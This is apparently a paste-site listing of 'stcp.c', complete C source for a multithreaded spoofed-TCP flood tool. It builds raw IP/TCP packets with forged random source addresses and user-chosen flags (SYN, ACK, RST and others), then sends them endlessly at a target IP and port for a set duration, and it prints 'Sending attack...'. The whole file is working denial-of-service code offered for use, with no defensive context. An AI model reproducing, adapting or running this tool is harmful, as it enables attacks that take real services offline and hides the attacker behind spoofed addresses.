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stcp.c

wtfbbq Jun 17th, 2015 1,248 Never
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  1. /*
  2.  * This is released under the GNU GPL License v3.0, and is allowed to be used for commercial products ;)
  3.  */
  4.  
  5. #include <unistd.h>
  6. #include <time.h>
  7. #include <sys/types.h>
  8. #include <sys/socket.h>
  9. #include <sys/ioctl.h>
  10. #include <string.h>
  11. #include <stdlib.h>
  12. #include <stdio.h>
  13. #include <pthread.h>
  14. #include <netinet/tcp.h>
  15. #include <netinet/ip.h>
  16. #include <netinet/in.h>
  17. #include <netinet/if_ether.h>
  18. #include <netdb.h>
  19. #include <net/if.h>
  20. #include <arpa/inet.h>
  21. #define MAX_PACKET_SIZE 4096
  22. #define PHI 0x9e3779b9
  23. static unsigned long int Q[4096], c = 362436;
  24. static unsigned int floodport;
  25. volatile int limiter;
  26. volatile unsigned int pps;
  27. volatile unsigned int sleeptime = 100;
  28. int ack,syn,psh,fin,rst,urg,ptr,res2,seq;
  29. void init_rand(unsigned long int x)
  30. {
  31.         int i;
  32.         Q[0] = x;
  33.         Q[1] = x + PHI;
  34.         Q[2] = x + PHI + PHI;
  35.         for (i = 3; i < 4096; i++){ Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; }
  36. }
  37. unsigned long int rand_cmwc(void)
  38. {
  39.         unsigned long long int t, a = 18782LL;
  40.         static unsigned long int i = 4095;
  41.         unsigned long int x, r = 0xfffffffe;
  42.         i = (i + 1) & 4095;
  43.         t = a * Q[i] + c;
  44.         c = (t >> 32);
  45.         x = t + c;
  46.         if (x < c) {
  47.         x++;
  48.         c++;
  49.         }
  50.         return (Q[i] = r - x);
  51. }
  52. unsigned short csum (unsigned short *buf, int count)
  53. {
  54.         register unsigned long sum = 0;
  55.         while( count > 1 ) { sum += *buf++; count -= 2; }
  56.         if(count > 0) { sum += *(unsigned char *)buf; }
  57.         while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
  58.         return (unsigned short)(~sum);
  59. }
  60. unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph) {
  61.  
  62.         struct tcp_pseudo
  63.         {
  64.         unsigned long src_addr;
  65.         unsigned long dst_addr;
  66.         unsigned char zero;
  67.         unsigned char proto;
  68.         unsigned short length;
  69.         } pseudohead;
  70.         unsigned short total_len = iph->tot_len;
  71.         pseudohead.src_addr=iph->saddr;
  72.         pseudohead.dst_addr=iph->daddr;
  73.         pseudohead.zero=0;
  74.         pseudohead.proto=IPPROTO_TCP;
  75.         pseudohead.length=htons(sizeof(struct tcphdr));
  76.         int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
  77.         unsigned short *tcp = malloc(totaltcp_len);
  78.         memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
  79.         memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
  80.         unsigned short output = csum(tcp,totaltcp_len);
  81.         free(tcp);
  82.         return output;
  83. }
  84. void setup_ip_header(struct iphdr *iph)
  85. {
  86.         iph->ihl = 5;
  87.         iph->version = 4;
  88.         iph->tos = 0;
  89.         iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr);
  90.         iph->id = htonl(rand()%54321);
  91.         iph->frag_off = 0;
  92.         iph->ttl = MAXTTL;
  93.         iph->protocol = 6;
  94.         iph->check = 0;
  95.         iph->saddr = inet_addr("8.8.8.8");
  96. }
  97. void setup_tcp_header(struct tcphdr *tcph)
  98. {
  99. tcph->source = htons(rand()%65535);
  100.         tcph->seq = rand();
  101.         tcph->ack  = ack;
  102.         tcph->ack_seq = seq;
  103.         tcph->psh  = psh;      
  104.         tcph->fin  = fin;
  105.         tcph->rst  = rst;
  106.         tcph->res2 = res2;
  107.         tcph->doff = 5;
  108.         tcph->syn = syn;
  109.         tcph->urg  = urg;
  110.         tcph->urg_ptr = ptr;
  111.         tcph->window = rand();
  112.         tcph->check = 0;
  113. }
  114. void *flood(void *par1)
  115. {
  116.         char *td = (char *)par1;
  117.         char datagram[MAX_PACKET_SIZE];
  118.         struct iphdr *iph = (struct iphdr *)datagram;
  119.         struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
  120.         struct sockaddr_in sin;
  121.         sin.sin_family = AF_INET;
  122.         sin.sin_port = htons(floodport);
  123.         sin.sin_addr.s_addr = inet_addr(td);
  124.         int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
  125.         if(s < 0){
  126.         fprintf(stderr, "Could not open raw socket.\n");
  127.         exit(-1);
  128.         }
  129.         memset(datagram, 0, MAX_PACKET_SIZE);
  130.         setup_ip_header(iph);
  131.         setup_tcp_header(tcph);
  132.         tcph->dest = htons(floodport);
  133.         iph->daddr = sin.sin_addr.s_addr;
  134.         iph->check = csum ((unsigned short *) datagram, iph->tot_len);
  135.         int tmp = 1;
  136.         const int *val = &tmp;
  137.         if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
  138.         fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
  139.         exit(-1);
  140.         }
  141.         init_rand(time(NULL));
  142.         register unsigned int i;
  143.         i = 0;
  144.         while(1){
  145.         sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
  146.         iph->saddr = (rand_cmwc() >> 24 & 0xFF) << 24 | (rand_cmwc() >> 16 & 0xFF) << 16 | (rand_cmwc() >> 8 & 0xFF) << 8 | (rand_cmwc() & 0xFF);
  147.         iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
  148.         iph->check = csum ((unsigned short *) datagram, iph->tot_len);
  149.         tcph->seq = rand_cmwc() & 0xFFFF;
  150.         tcph->source = htons(rand_cmwc() & 0xFFFF);
  151.         tcph->check = 0;
  152.         tcph->check = tcpcsum(iph, tcph);
  153.         pps++;
  154.         if(i >= limiter)
  155.         {
  156.         i = 0;
  157.         usleep(sleeptime);
  158.         }
  159.         i++;
  160.         }
  161. }
  162. int main(int argc, char *argv[ ])
  163. {
  164.         if(argc < 7){
  165.         fprintf(stderr, "Invalid parameters!\n");
  166.         fprintf(stdout, "Usage: %s <target IP> <port> <threads> <pps limiter, -1 for no limit> <time> <ack,syn,psh,fin,rst,urg,ptr,res2,seq>\n", argv[0]);
  167.         exit(-1);
  168.         }
  169.         fprintf(stdout, "Opening sockets...\n");
  170.         int num_threads = atoi(argv[3]);
  171.         floodport = atoi(argv[2]);
  172.         int maxpps = atoi(argv[4]);
  173.         limiter = 0;
  174.         pps = 0;
  175.         pthread_t thread[num_threads];
  176.         if(strstr(argv[6], "ack"))
  177.         ack  = 1;
  178.         else
  179.         ack  = 0;
  180.         if(strstr(argv[6], "seq"))
  181.         seq = 1;
  182.         else
  183.         seq = 0;
  184.         if(strstr(argv[6], "psh"))
  185.         psh = 1;
  186.         else
  187.         psh = 0;
  188.         if(strstr(argv[6], "fin"))
  189.         fin  = 1;
  190.         else
  191.         fin  = 0;
  192.         if(strstr(argv[6], "rst"))
  193.         rst = 1;
  194.         else
  195.         rst = 0;
  196.         if(strstr(argv[6], "res2"))
  197.         res2 = 1;
  198.         else
  199.         res2 = 0;
  200.         if(strstr(argv[6], "syn"))
  201.         syn = 1;
  202.         else
  203.         syn = 0;
  204.         if(strstr(argv[6], "urg"))
  205.         urg = 1;
  206.         else
  207.         urg = 0;
  208.         if(strstr(argv[6], "ptr"))
  209.         ptr = 1;
  210.         else
  211.         ptr = 0;
  212.         int multiplier = 20;
  213.         int i;
  214.         for(i = 0;i<num_threads;i++){
  215.         pthread_create( &thread[i], NULL, &flood, (void *)argv[1]);
  216.         }
  217.         fprintf(stdout, "Sending attack...\n");
  218.         for(i = 0;i<(atoi(argv[5])*multiplier);i++)
  219.         {
  220.                 usleep((1000/multiplier)*1000);
  221.                 if((pps*multiplier) > maxpps)
  222.                 {
  223.                         if(1 > limiter)
  224.                         {
  225.                                 sleeptime+=100;
  226.                         } else {
  227.                                 limiter--;
  228.                         }
  229.                 } else {
  230.                         limiter++;
  231.                         if(sleeptime > 25)
  232.                         {
  233.                                 sleeptime-=25;
  234.                         } else {
  235.                                 sleeptime = 0;
  236.                         }
  237.                 }
  238.                 pps = 0;
  239.         }
  240.  
  241.         return 0;
  242. }
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